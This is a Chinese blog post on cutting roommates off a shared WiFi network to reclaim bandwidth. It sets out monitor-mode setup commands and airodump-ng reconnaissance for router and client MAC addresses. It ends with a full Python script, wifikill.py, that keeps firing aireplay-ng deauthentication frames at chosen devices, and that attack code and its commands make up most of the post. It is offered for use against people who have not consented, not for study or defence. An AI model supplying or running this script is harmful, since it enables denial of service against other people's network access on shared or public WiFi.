admin管理员组

文章数量:1658705

有人不停下载?

大家共用一个wifi的时候,总有人喜欢下载、看视频,卡得别人上网上得非常不爽。

但是修改wifi密码,会被骂;直接在路由器上设置限速,说不定一会又被改回去了。

这里提供一种,通过自己的电脑网卡发送解除认证报文的方式,让占网速的室友连不上wifi。

准备工作

1.一个USB无线网卡(如果你自己用的是有线就可以直接使用内置的无线网卡),我在这里使用的是小米随身wifi,20块左右搞定;

2.Linux 操作系统,后面所有的操作都是在linux下进行的(我自己日常使用的就是Ubuntu),建议内核版本在4.4以上,集成了更多的USB无线网卡驱动 ;

3.安装 python3(Ubuntu上已默认安装);

4.安装 aircrack-ng;

sudo apt install aircrack-ng

获取信息

1.USB(内置)无线网卡接口名,在Linux终端中通过ifconfig查看(一般插上无线网卡后就会显示),这里使用的”wlan1”

2.获取路由器的MAC地址 和 wifi信道

1].直接登录路由器查看;

2].通过aircrack-ng 获取, 根据显示的ESSID找MAC地址(BSSID)和wifi信道(CH)

sudo ifconfig wlan1 down

sudo iwconfig wlan1 mode monitor

sudo ifconfig wlan1 up

sudo airodump-ng wlan1

3.获取要断掉设备的MAC地址

1].直接登录路由器查看

2].通过arp表获取, ping一下要断掉的设备

开始断网

1].打开任意编辑器,将附录中的代码粘贴进去。

2].根据前面获取的信息修改开头部分的 iface, bssid, channel, clients

3].保存文件为wifikill.py(或你喜欢的名字)

4].给文件添加可执行权限

chmod u+x wifikill.py

5].开始断网

sudo ./wifikill.py

实际效果

自己在家里做的试验,路由器使用的极路由,这里直接登录查看设备连接情况。

程序运行前

运行程序断掉” 小米4”和”魅族MX4”。

附录(wifikill.py)

#! /usr/bin/python3

import os, sys, time

import threading

# 无线网卡名

iface  = 'wlan1'

# 路由器mac地址

bssid  = 'D4:EE:07:2E:6F:EA'

# 路由器的channel

channel = 11

# 要干掉的设备的mac地址

# '设备名':'设备MAC'

#  其中'设备名'是为了方便记忆,可以任意填写

clients = {

'Mi4': '58:44:98:16:2B:0E',

'MX4': '00:08:22:C0:33:6E'

}

def iface_init():

'''

初始化网卡, 设置网卡为监听模式

'''

if os.system("ifconfig {} down".format(iface)) != 0:

raise RunTimeError

if os.system("iwconfig {} mode monitor".format(iface)) != 0:

raise RunTimeError

if os.system("ifconfig {} up".format(iface)) != 0:

raise RunTimeError

if os.system("iwconfig {} channel {:02d}".format(iface, channel)) != 0:

raise RunTimeError

def send_deauth(client_name):

'''

向指定设备循环发送解除认证报文

'''

print('Sending deauth to {}, mac: {}'.format(client_name, clients[client_name]))

cmd = 'aireplay-ng -a {} -c {} --deauth 0 {} > /dev/null'.format(bssid, clients[client_name], iface)

os.system(cmd)

print('Stop send to {}'.format(client_name))

class WifiKill(threading.Thread):

'''

创建一个被禁止连接wifi的设备的对象

'''

def __init__(self, client_name):

threading.Thread.__init__(self)

self.client_name = client_name

def run(self):

send_deauth(self.client_name)

def main():

if os.getuid() != 0:

print("Please run as root\r\n")

sys.exit(1)

try:

iface_init()

except:

print("{} init failed".format(iface))

sys.exit(1)

for name, mac in clients.items():

my_task = WifiKill(name)

my_task.start()

if __name__ == '__main__':

main()

本文标签: 网速Linuxwifi